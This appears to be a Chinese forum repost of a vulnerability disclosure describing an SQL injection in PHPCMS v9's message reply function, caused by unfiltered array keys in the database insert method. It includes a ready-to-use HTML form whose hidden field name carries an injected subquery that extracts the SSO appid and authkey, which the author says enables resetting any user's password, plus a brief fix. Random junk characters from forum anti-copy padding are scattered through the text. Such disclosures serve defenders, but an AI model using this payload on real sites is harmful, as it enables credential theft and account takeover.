|
简要描述:" o: B' r; m. x7 |- F- Y z: |
* z) P& j- H( n, J3 }: ]第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
& A" p( L1 c5 ~3 ?
4 |* k; B, P4 A" [! y9 h, T& s明天再更新下一个漏洞。
2 e- t% h6 `- T2 @6 O) F' O1 j9 b详细说明:
3 f; D* Y( \9 {! O$ v# N8 ]/ i, g在/phpcms9/phpcms/modules/message/index.php中有代码如下:6 `+ h% l0 h- i; S& T' D p, T
- a) H! J* G9 n$ B' U$messageid = $this->message_db->insert($_POST['info'],true);2 _) H2 x- ^9 \$ }7 N. ?: y! g7 ` [
$ I( M- M% C$ \: K0 L" P
. W9 F9 P$ m3 n4 B- Z6 e Binsert方法是key value的,代码如下:
6 n# A6 m: ^. Y1 I& v
6 L2 S7 l$ }5 f) I! h8 `public function insert($data, $table, $return_insert_id = false, $replace = false) {# l7 C, z1 w+ Y% q
if(!is_array( $data ) || $table == '' || count($data) == 0) {
8 g, j/ }, G. I return false;7 M ]; [% S) p* S: m* K7 B: {
}
8 j) }. H; F1 D4 W% P
" I" d. D5 u- u2 r' U: w. } $fielddata = array_keys($data);5 Y1 b& N2 K: z9 l* i- U% K( l
$valuedata = array_values($data);
1 H, q- q, ~5 B array_walk($fielddata, array($this, 'add_special_char'));- g# w. h7 M" E* B
array_walk($valuedata, array($this, 'escape_string'));/ y$ A1 R* _& r- h
. \4 U$ h2 [" q3 z& Z6 y/ \
$field = implode (',', $fielddata);# k" z9 i: @! i: _
$value = implode (',', $valuedata);
6 N, a( K. w9 Q2 W: K6 O z8 r0 l
: k2 S* b$ H$ M7 X2 ]4 s* l $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';8 l/ |; i+ ~6 V* s. Q# n6 w
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# t v! j* m; \2 M z $return = $this->execute($sql);
, z5 T0 i4 i# f: k return $return_insert_id ? $this->insert_id() : $return;9 Y- e' U7 w# M6 W
}
8 d l! ?0 y' b# o5 M) L$ G0 N7 ^' d! A- D
- h% Y% a9 S: B, Z5 L$ Z* a6 ]) O嗯,很遗憾的是
" B7 B: x$ C- I" [
0 m1 c5 m W" z% d sarray_walk($fielddata, array($this, 'add_special_char'));
. {4 d! g, c; G2 [. x3 ^% c1 l$ [( J7 s# a, [% S2 u
9 I# |1 i. Z u/ j2 \
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。& ]6 O8 v R- I! }" m3 E8 j
1 K3 Z) T1 j6 u3 a" C* w到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
, q/ z3 a4 F$ v) ^6 L A1 N d7 c1 ]& b. ?* R
漏洞证明:
) i4 D" u4 S( J. e5 ]# t8 U+ a读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
1 z) F2 l& }9 y( A5 K
8 \4 n i3 d# I: b
! Q1 m7 e; f1 M# m6 R) C, |0 C( D表单如下:用户名什么的得自己改一改。/ o" n. ^! k0 G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
: e* s! M3 @$ `2 ~5 E# o7 o* X<table width="100%" cellspacing="0" class="table_form">. o/ S6 t: t4 r& s8 M& x
<tr>/ X* H' ^2 e$ [/ ~, |+ @
<th>标 题:</th>3 F6 C" T- b; e, R+ u9 P% q
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
% y8 `' R& e' c$ [. y</tr>
1 f2 O" g6 D/ v) M* E! g<tr>
( d9 U; K- `: q0 w<th>内 容:</th>0 j. D# j9 H) }7 `, b" ]
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>! J. R" }" {6 J& F* s
</tr>
5 o+ H5 O. Q% d- z# I, q<input type="hidden" name="info[replyid]" value="2" />
/ J% e" z4 ~) B+ A; _<input type="hidden" name="info[send_to_id]" value="cc" />
' x3 f2 F& Q$ i. s8 k# U6 H9 A% P: @/ ?<input type="hidden" name="info[send_from_id]" value="hh">
" k4 Z6 E' @8 v" o<!-- 漏洞的利用重点在这里开始 -->8 R+ ?. e& _& v: h8 R
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
7 Y: E2 I; p& d; I0 v<!-- 漏洞的利用重点在这里结束 -->
% [- g5 P- U) q7 q& Q<tr>
* q4 {4 h; u' c0 T<th>验证码:</th>0 T! ?9 H5 N ^& b T( K, Y, Y% g
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># S6 o1 T( e" ~
</tr>
+ x( m: [( P1 H& W<tr>
0 u6 F. a6 \+ m8 t8 A- B' l<td></td>
! T5 V: S' o3 U5 Q<td colspan="2"><label>
8 r2 F4 t0 ^2 |2 }) r; y<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# y) c0 w# T1 {6 U</label></td>6 G# l' ]$ a' F5 }- _
</tr>* c& H: V; B; @/ b
</table>% `+ b) O& J& b/ C( h/ _* q5 A
</form>! [2 j' _! z. W
在add_special_char函数内对key做过滤就可以了。
: h' N0 _" C5 ^$ f i. N8 I" [, ?" V$ D" }8 t+ f
" P( _& @+ W5 F j+ E
5 ?) A2 L9 E- j
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|